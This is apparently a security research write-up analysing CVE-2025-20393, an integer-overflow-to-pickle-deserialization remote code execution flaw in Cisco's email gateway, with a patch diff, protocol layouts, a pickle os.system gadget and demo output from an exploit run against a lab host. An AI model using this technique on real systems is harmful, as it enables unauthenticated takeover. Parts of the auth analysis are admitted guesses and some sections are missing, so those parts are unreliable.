TL;DR

In December 2025, Cisco published https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 addressing CVE-2025-20393, a critical vulnerability (CVSS 10.0) affecting Cisco Secure Email Gateway and Secure Email and Web Manager. The advisory was notably sparse on technical details, describing only “Improper Input Validation” (CWE-20).

We decided to dig deeper. Through reverse engineering and code analysis of AsyncOS 15.5.3, we uncovered the root cause: a single-byte integer overflow in the EUQ RPC protocol that bypasses authentication and chains into Python pickle deserialization — achieving unauthenticated remote code execution with a single HTTP request.

This post documents our reproduction and analysis of CVE-2025-20393.

Introduction

On December 17, 2025, Cisco released a security advisory for a critical vulnerability affecting their email security products:

Field Value
Advisory ID cisco-sa-sma-attack-N9bf4
CVE CVE-2025-20393
CVSS 3.1 10.0 (Critical)
CWE CWE-20 (Improper Input Validation)
Affected Products Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs CSCws36549, CSCws52505
Workarounds None available

A CVSS score of 10.0 is rare — it indicates an unauthenticated, network-exploitable vulnerability with complete system compromise. Yet the advisory offered minimal technical insight, leaving security practitioners wondering: what exactly is being exploited?

We obtained a copy of AsyncOS 15.5.3 firmware and set out to answer that question.

Our approach? Wait for the patch, then diff it.


Patch Diffing: Finding the Needle

When the patched AsyncOS firmware became available, we extracted both versions and started comparing. The EUQ (End User Quarantine) service immediately caught our attention — it’s network-exposed on port 83 and heavily uses Python.

Comparing CommandMessage.py between AsyncOS 15.5.3 (vulnerable) and the patched version a(15.5.4):

$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
         AsyncOS_patched/site-packages/zeus/CommandMessage.py
                            
  30a26,47
  >     if destination is not None:
  >         if len(destination) >= 255:
  >             debug_str = 'DEBUG:send_message:Invalid destination len:%r source len:%r message_type:%r ttl:%r message_len:%r' % (
  >              len(destination),
  >              len(source),
  >              message_type,
  >              ttl,
  >              len(message))
  >             coro.print_stderr(debug_str)
  >             coro.print_stderr(who_calls.who_calls())
  >             raise Commandment.MessageFormatError()
  >     if source is not None:
  >         if len(source) >= 255:
  >             debug_str = 'DEBUG:send_message:Invalid source len:%r source len:%r message_type:%r ttl:%r message_len:%r' % (
  >              len(source),
  >              len(destination),
  >              message_type,
  >              ttl,
  >              len(message))
  >             coro.print_stderr(debug_str)
  >             coro.print_stderr(who_calls.who_calls())
  >             raise Commandment.MessageFormatError()

The patch adds explicit validation: destination and source must be less than 255 bytes. If exceeded, a MessageFormatError is raised.

The Critical Question

When my colleague Jiantao reviewed this diff, he asked the key question: “Why 255? What happens if someone sends 256 bytes?” That seemingly simple question unlocked the entire vulnerability chain.


The Python 2.6 Factor

Looking at the decompiled header of the vulnerable file:

  # Python bytecode version base 2.6 (62161)
  # Compiled at: 2024-11-27 14:22:42

AsyncOS uses Python 2.6 — a version released in 1st October 2008 and EOL since 29th October 2013. This matters because Python 2.6’s struct.pack has a critical behavioral difference from modern Python.

Modern Python (3.x): Strict Validation

$ python3
Python 3.12.9 (main, Sep 14 2025, 23:32:51) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> struct.pack('>B', 256)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
struct.error: 'B' format requires 0 <= number <= 255
>>>

Python 3 raises an exception when the value exceeds the format’s range.

Python 2.6: Silent Truncation

Python 2.6.9
>>> import struct
>>> struct.pack('>B', 256)
'\x00'
>>> struct.pack('>B', 289)
'!'
>>> ord('!')
33

Python 2.6 silently truncates the value to fit within the byte range:

  256 % 256 = 0   → '\x00'
  289 % 256 = 33  → '!' (0x21)
  512 % 256 = 0   → '\x00'

This is the integer overflow. In Python 2.6, struct.pack('>B', 256) doesn’t fail — it returns 0x00.

Why This Matters

The RPC message packing code uses:

dst_len = struct.pack('>B', len(destination))

If len(destination) = 256:

  • Python 3: Exception raised, attack fails
  • Python 2.6: dst_len = ‘\x00’, attack succeed

Cisco’s ancient Python 2.6 runtime transformed a potential crash into an exploitable overflow.


Background: EUQ RPC Protocol

Now that we understand why the overflow occurs, let’s examine where and how.

The End User Quarantine Service

EUQ allows email recipients to manage quarantined messages via a web interface on port 83. The architecture:


  ┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
  │   End User  │ ◄───────────────►  │  EUQ Web    │ ◄────────────► │  EUQ Backend│
  │   Browser   │                    │  Frontend   │                │  (Python)   │
  └─────────────┘                    └─────────────┘                └─────────────┘
                                           │
                                           ▼
                                     /Search endpoint
                                     ?auth=...&serial=...

The Message Header Definition

In Commandment.py, the RPC message header format is defined:

at Commandment.py (Lines 7-8)

HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER)

Let’s decode this struct format string:

Format Type Size Field
> Big-endian - Byte order modifier
B unsigned char 1 byte version
B unsigned char 1 byte ttl
I unsigned int 4 bytes message_length
I unsigned int 4 bytes message_type
B unsigned char 1 byte source_length
B unsigned char 1 byte destination_length
32s char[32] 32 bytes txn_tag

Total header size: 1+1+4+4+1+1+32 = 44 bytes

The vulnerability is in source_length and destination_length — both are defined as single-byte unsigned chars (B), limiting their range to 0-255.

Message Construction: send_message()

def send_message(write_method, message_type, source, destination='', message='', ttl=0, timeout=0, tag=None):
    header = struct.pack(Commandment.HEADER, Commandment.MESSAGE_VERSION, ttl, len(message), message_type, len(source), len(destination), _message_tag(tag))
    if timeout:
        coro.with_timeout(timeout, write_method, header + source + destination)
        for x in xrange(0, len(message), MAX_PACKET_SIZE):
            coro.with_timeout(timeout, write_method, message[x:x + MAX_PACKET_SIZE])

    else:
        packet = header + source + destination + message
        write_method(packet)
    return

Critical observation at line 31: When len(destination) exceeds 255, Python 2.6’s struct.pack with format ‘B’ silently truncates the value:

# Python 2.6 behavior demonstration
>>> import struct
>>> struct.pack('>B', 256)   # Expected: error, Actual: '\x00'
'\x00'
>>> struct.pack('>B', 289)   # Expected: error, Actual: '!' (0x21 = 33)
'!'

The receiving end parses messages using read_message():

Message Parsing: read_message()

# CommandMessage.py (Lines 74-89)
def read_message(read_method, timeout=0):
    # Read the fixed-size header (44 bytes)
    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

    try:
        # Unpack header fields
        (version, ttl, message_length, message_type,
         source_length, destination_length, txn_tag) = struct.unpack(
            Commandment.HEADER, header)
    except struct.error:
        raise Commandment.MessageFormatError()

    # Validate protocol version
    if version != Commandment.MESSAGE_VERSION:
        raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)

    # Read source field based on source_length
    source = _read(read_method, source_length, timeout)

    # Read destination field based on destination_length
    if destination_length:
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''  # ← When destination_length=0, empty string!

    # Read message payload
    message = _read(read_method, message_length, timeout)

    return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

Key vulnerability path (lines 84-87):

  • When destination_length = 0 (due to overflow), the code takes the else branch
  • destination is set to empty string '’
  • No authentication validation occurs on an empty destination
  • The attacker-controlled message payload proceeds to cPickle.loads()

Complete Message Structure

Based on the code analysis, the full RPC message format is:


  ┌─────────────────────────────────── HEADER (44 bytes) ───────────────────────────────────┐
  │                                                                                          │
  │  ┌─────────┬─────────┬──────────────┬──────────────┬────────────┬─────────────┬────────┐ │
  │  │ version │   ttl   │ message_len  │ message_type │ source_len │  dest_len   │txn_tag │ │
  │  │  (1B)   │  (1B)   │    (4B)      │    (4B)      │   (1B)     │  (1B)       │ (32B)  │ │
  │  │   'B'   │   'B'   │    'I'       │    'I'       │    'B'     │   'B'       │ '32s'  │ │
  │  └─────────┴─────────┴──────────────┴──────────────┴────────────┴─────────────┴────────┘ │
  │                                                                                          │
  └──────────────────────────────────────────────────────────────────────────────────────────┘
                                              │
                                              ▼
  ┌──────────────────────────────────── BODY (variable) ────────────────────────────────────┐
  │                                                                                          │
  │  ┌────────────────────────┬─────────────────────────┬──────────────────────────────────┐ │
  │  │        source          │      destination        │            message               │ │
  │  │   (source_len bytes)   │   (dest_len bytes)      │      (message_len bytes)         │ │
  │  │                        │                         │      → cPickle.loads()           │ │
  │  └────────────────────────┴─────────────────────────┴──────────────────────────────────┘ │
  │                                                                                          │
  └──────────────────────────────────────────────────────────────────────────────────────────┘

Vulnerability Analysis

The Overflow Chain

Let’s trace what happens when we send a 256-byte destination:

Step 1: Message Packing (Sender Side)

  # In send_message() - vulnerable version
  destination = attacker_controlled_256_bytes
  header = struct.pack('>BBIIBB32s',
      ...,
      len(destination),  # 256 → Python 2.6 truncates to 0x00
      ...
  )

Step 2: Message Parsing (Receiver Side)

# In read_message()
(version, ttl, message_length, message_type,
 source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)

# destination_length = 0 (from overflow)

if destination_length:    # False!
    destination = _read(read_method, destination_length, timeout)
else:
    destination = ''      # Empty string, auth bypassed!

message = _read(read_method, message_length, timeout)
return (..., destination, message)  # Attacker's pickle goes to handler

Step 3: RCE via Pickle

# In RPC handler
result = cPickle.loads(message)  # Attacker-controlled deserialization → RCE

Code Flow Diagram

                      Attacker sends 256-byte serial parameter
                                      │
                                      ▼
  ┌─────────────────────────────────────────────────────────────────────────────┐
  │  send_message()  @ CommandMessage.py:30                                     │
  │                                                                             │
  │    destination = attacker_payload (256 bytes)                               │
  │                       │                                                     │
  │                       ▼                                                     │
  │    struct.pack('>BBIIBB32s', ..., len(destination), ...)                    │
  │    struct.pack(..., 256, ...)                                               │
  │                       │                                                     │
  │                       ▼                                                     │
  │    Python 2.6: 256 % 256 = 0 → '\x00'  ← INTEGER OVERFLOW                   │
  │                                                                             │
  └─────────────────────────────────────────────────────────────────────────────┘
                                      │
                                      │ Network transmission
                                      ▼
  ┌─────────────────────────────────────────────────────────────────────────────┐
  │  read_message()  @ CommandMessage.py:74                                     │
  │                                                                             │
  │    header = _read(read_method, 44, timeout)                                 │
  │    (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header)               │
  │                       │                                                     │
  │                       ▼                                                     │
  │    dest_len = 0  ← FROM OVERFLOW                                            │
  │                       │                                                     │
  │                       ▼                                                     │
  │    if dest_len:       # False!                                              │
  │        destination = _read(read_method, dest_len, timeout)                  │
  │    else:                                                                    │
  │        destination = ''  ← EMPTY, AUTH BYPASSED                             │
  │                       │                                                     │
  │                       ▼                                                     │
  │    message = _read(read_method, message_len, timeout)                       │
  │    return (..., destination, message)                                       │
  │                                                                             │
  └─────────────────────────────────────────────────────────────────────────────┘
                                      │
                                      ▼
  ┌─────────────────────────────────────────────────────────────────────────────┐
  │  RPC Handler                                                                │
  │                                                                             │
  │    (_, _, _, _, destination, message) = read_message(...)                   │
  │                       │                                                     │
  │                       ▼                                                     │
  │    # destination = '' (empty) - validation skipped or passes                │
  │                       │                                                     │
  │                       ▼                                                     │
  │    result = cPickle.loads(message)  ← ATTACKER-CONTROLLED PICKLE            │
  │                       │                                                     │
  │                       ▼                                                     │
  │    os.system('attacker_command')  ← RCE ACHIEVED                            │
  │                                                                             │
  └─────────────────────────────────────────────────────────────────────────────┘

Why Pickle is Dangerous

For completeness, here’s why cPickle.loads() on untrusted input is catastrophic:

import pickle
import os

class Exploit:
  def __reduce__(self):
      return (os.system, ('id',))

# Serialize
payload = pickle.dumps(Exploit())

# When deserialized, executes: os.system('id')
pickle.loads(payload)  # uid=0(root) gid=0(wheel)...

The __reduce__ method tells pickle how to reconstruct the object — and that “reconstruction” can be arbitrary code execution.

Exploitation Strategy: Authentication Bypass Deep Dive

The Authentication Problem

In normal operation, the EUQ RPC protocol uses the destination field for authentication. The server validates that incoming messages are addressed to its own serial number:

# Simplified authentication logic in RPC handler
  def handle_rpc_message(message_data):
      (_, _, _, source, destination, message) = read_message(...)

      # Authentication check: destination must match server's serial
      if destination != MY_SERIAL_NUMBER:
          raise AuthenticationError("Message not for this server")

      # Only if auth passes, process the message
      result = cPickle.loads(message)

The challenge: To exploit the pickle deserialization, we need to pass the authentication check. But how can we know the target server’s serial number

Two Exploitation Approaches

We developed two distinct exploitation strategies:

  • Serial: “564D3D47E3BCFBA26307-2EC835E2635A” (33 bytes)
  • Payload length: 256 + 33 = 289 bytes
  • Overflow: 289 % 256 = 33 ✓

Server reads 33 bytes as destination → matches serial → auth passes

Approach Requirement Overflow Value Use Case
Serial Matching Know target’s serial dst_len = serial_len When serial is leaked
Zero-Length Bypass Nothing dst_len = 0 Universal, no prerequisites

Payload layout:

┌────────────────────────┬────────────────────┬─────────────────┐
│     Server Serial      │   Pickle Payload   │    Padding      │
│       (33 bytes)       │    (72 bytes)      │  (184 bytes)    │
└────────────────────────┴────────────────────┴─────────────────┘
  Total: 289 bytes → 289 % 256 = 33

           │                       │
           ▼                       ▼
    Passes auth check      cPickle.loads() → RCE

Approach 2: Zero-Length Bypass (No Prerequisites) ✓

The key insight from Jiantao was recognizing that dst_len = 0 creates a special case. Let’s examine the read_message() code again:

# CommandMessage.py (Lines 84-87)
def read_message(read_method, timeout=0):
    # ... unpack header ...

    # destination_length comes from header (attacker-controlled via overflow)
    if destination_length:                    # [1] Check if non-zero
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''                      # [2] Empty string when dst_len=0!

    # ... continue processing ...

When destination_length = 0:

  1. The if destination_length: check at [1] evaluates to False (0 is falsy)
  2. Code takes the else branch at [2]
  3. destination is set to empty string '’
  4. No bytes are read from the network for destination

Why Empty Destination Bypasses Auth

Through our analysis, we identified that the authentication check has one of these behaviors when destination is empty:

  if destination:  # Empty string is falsy in Python
      if destination != MY_SERIAL_NUMBER:
          raise AuthenticationError(...)
  # Empty destination → validation skipped entirely

  Scenario B: Broadcast/local message handling
  if destination == '' or destination == MY_SERIAL_NUMBER:
      # Accept message (empty = broadcast or local)
      process_message(...)

  Scenario C: Error handling falls through
  try:
      validate_destination(destination)  # May not handle empty case
  except:
      pass  # Silently continue

In any of these cases, an empty destination allows the message to proceed to cPickle.loads().

Comparison: Serial Matching vs Zero-Length


  ┌─────────────────────────────────────────────────────────────────────────────┐
  │                        SERIAL MATCHING APPROACH                             │
  ├─────────────────────────────────────────────────────────────────────────────┤
  │  Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes        │
  │                                                                             │
  │  Overflow: 289 % 256 = 33                                                   │
  │                                                                             │
  │  Server reads:                                                              │
  │    dst_len = 33                                                             │
  │    destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A"        │
  │    Auth check: destination == MY_SERIAL → PASS ✓                            │
  │    message = payload[33:105] = pickle_gadget                                │
  │    cPickle.loads(message) → RCE                                             │
  │                                                                             │
  │  Requirement: Must know server's serial number                              │
  └─────────────────────────────────────────────────────────────────────────────┘

  ┌─────────────────────────────────────────────────────────────────────────────┐
  │                      ZERO-LENGTH BYPASS APPROACH ✓                          │
  ├─────────────────────────────────────────────────────────────────────────────┤
  │  Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes                       │
  │                                                                             │
  │  Overflow: 256 % 256 = 0                                                    │
  │                                                                             │
  │  Server reads:                                                              │
  │    dst_len = 0                                                              │
  │    if dst_len: ... else: destination = ''  ← EMPTY STRING                   │
  │    Auth check: destination == '' → BYPASS! ✓                                │
  │    message = payload[0:72] = pickle_gadget                                  │
  │    cPickle.loads(message) → RCE                                             │
  │                                                                             │
  │  Requirement: NONE - works against any target                               │
  └─────────────────────────────────────────────────────────────────────────────┘
  

Why We Chose Zero-Length Bypass

Demo

 $ python3 exploit.py 192.168.2.10 'id > /tmp/pwned'

  ======================================================================
  CVE-2025-20393 - Cisco Secure Email Gateway RCE
  Advisory: cisco-sa-sma-attack-N9bf4
  ======================================================================

  [*] Target:   https://192.168.2.10:83
  [*] Command:  id > /tmp/pwned

  [*] Exploit Details:
      ├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
      ├─ Pickle gadget:  72 bytes
      ├─ Padding:        184 bytes
      ├─ Total payload:  256 bytes
      └─ Overflow:       256 % 256 = 0

  [*] URL length: 891 bytes

  [*] Sending exploit...
  [+] Read timeout - likely successful!
      (Server busy executing pickle payload)

  [*] Verify:
      $ ssh [email protected] 'cat /tmp/pwned'

  Verification

  $ ssh [email protected] 'cat /tmp/pwned'
  uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Conclusion

CVE-2025-20393 demonstrates the compounding danger of technical debt:

  1. Python 2.6 — A 17-year-old runtime with unsafe default behaviors
  2. 1-byte length fields — A premature optimization creating overflow conditions
  3. Pickle deserialization — Convenient but equivalent to eval() on untrusted input
  4. Missing validation — The patch shows what should have existed from day one

The vulnerability was hiding in plain sight. When Cisco added if len(destination) >= 255: raise Error, they revealed exactly where the bug was. Sometimes the best vulnerability research is just reading the diff.

References